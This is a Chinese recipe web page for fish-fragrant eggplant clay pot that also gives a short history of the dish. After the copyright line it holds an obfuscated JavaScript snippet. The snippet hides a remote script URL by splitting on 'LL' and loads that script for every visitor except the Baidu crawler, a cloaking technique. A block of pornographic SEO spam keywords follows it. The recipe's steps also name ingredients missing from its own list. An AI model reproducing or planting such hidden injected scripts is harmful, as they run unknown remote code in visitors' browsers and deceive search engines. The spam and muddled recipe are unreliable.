當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

茄子最美味的做法:魚香茄子煲

2016-08-29 09:22:33  來源:360常識網(wǎng)   熱度:
導語:趁鍋內(nèi)余油,下蒜茸、芹菜粒、椒粒、堡仔醬爆香,接著下雞粒炒勻,加入紹酒、上湯及茄瓜條和以上味料和炸香咸魚茸,略燜片刻,調(diào)入少許生粉,加入包尾油。

茄子最美味的做法:魚香茄子煲

茄子最美味的做法:魚香茄子煲

茄子最美味的做法:魚香茄子煲

茄子煲的由來

茄子煲號稱粵菜,其實來歷深遠,賈思勰《齊民要術》中有“缹茄子法”正是茄子煲的老祖宗。“缹“字一望即知乃是將瓦罐置于火上,意思大致相當于煨或者煲,茄子”用子未成者以竹刀骨刀四破之,湯炸去腥氣。細切蔥白,熬油令香。豆醬油,擘蔥白與茄子俱下,缹令熟,下椒姜末。“亦即不能沾鐵器,將嫩茄子切成四塊后入開水中焯過,油料只能使用現(xiàn)制的蔥油,與茄子同煨的蔥白也只能手摘,至于”椒“,當然是原產(chǎn)我國的花椒,漢魏之際胡椒似未及傳播至中土,辣椒的輸入更是晚近數(shù)百年中的事。

主料:茄子約500克,半肥瘦免治豬肉約180克,姜米1/2湯匙,干蔥粒、蒜蓉、豆瓣醬各1湯匙,麻油1/2茶匙。

調(diào)味料:老抽、生抽、鹽、醋各1/2茶匙,碎黃糖1茶匙,清水2湯匙,生抽、砂糖、油各3/4茶匙,胡椒粉適量。

腌肉料:蒜蓉1/4茶匙,生粉1/2茶匙,生抽、砂糖、油各3/4茶匙,胡椒粉適量。芡汁料:生粉1茶匙,清水2茶匙。

做法:

1、選長身茄瓜批去皮,去掉頭、尾,一開為4件,長約12厘米。

2、燒熱鍋,下油,燒至約六成滾,投入茄瓜條炸約1分鐘至熟,倒起濾去油分。

3、趁鍋內(nèi)余油,下蒜茸、芹菜粒、椒粒、堡仔醬爆香,接著下雞粒炒勻,加入紹酒、上湯及茄瓜條和以上味料和炸香咸魚茸,略燜片刻,調(diào)入少許生粉,加入包尾油。轉(zhuǎn)盛入瓦煲里,加熱至滾,下香油、蔥花,加蓋上桌即可。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久久久亚洲精品无码网址| 国产精品无码一本二本三本色 | 国产自啪精品视频网站丝袜| 日韩精品无码免费专区午夜不卡| 2022国产精品不卡a| 多人伦精品一区二区三区视频| 精品中文字幕一区二区三区四区 | 精品国产一区二区三区AV性色| 日韩精品无码免费专区午夜不卡| 欧美日韩精品一区二区在线视频| 加勒比精品久久一区二区三区| 成人区人妻精品一区二区不卡网站 | 国产精品高清全国免费观看| 亚洲精品视频免费看| 国内精品久久国产| 九九精品视频在线播放8| 精品视频一区二区三区在线观看| 亚洲AV成人精品网站在线播放| 精品国产VA久久久久久久冰| 国产精品高清久久久久久久| 97精品人人妻人人| 国产精品久久精品福利网站| 国产精品亚洲成在人线| 国产精品免费观看| 久久精品亚洲乱码伦伦中文| 国产精品久免费的黄网站| 欧美人妻少妇精品久久黑人| 精品国产一二三产品价格| 国产精品亚洲不卡一区二区三区| 无码人妻精品一区二区三区久久| 国产精品自产拍在线18禁| 国产精品老熟女露脸视频| 国产精品bbwbbwbbw| 精品一区二区三区波多野结衣 | 国产麻豆精品精东影业av网站| 95在线观看精品视频| 91久久精品国产成人久久| 国产乱子伦精品免费视频| 老司机午夜精品视频播放| 国产麻豆精品在线观看| 成人亚洲国产精品久久|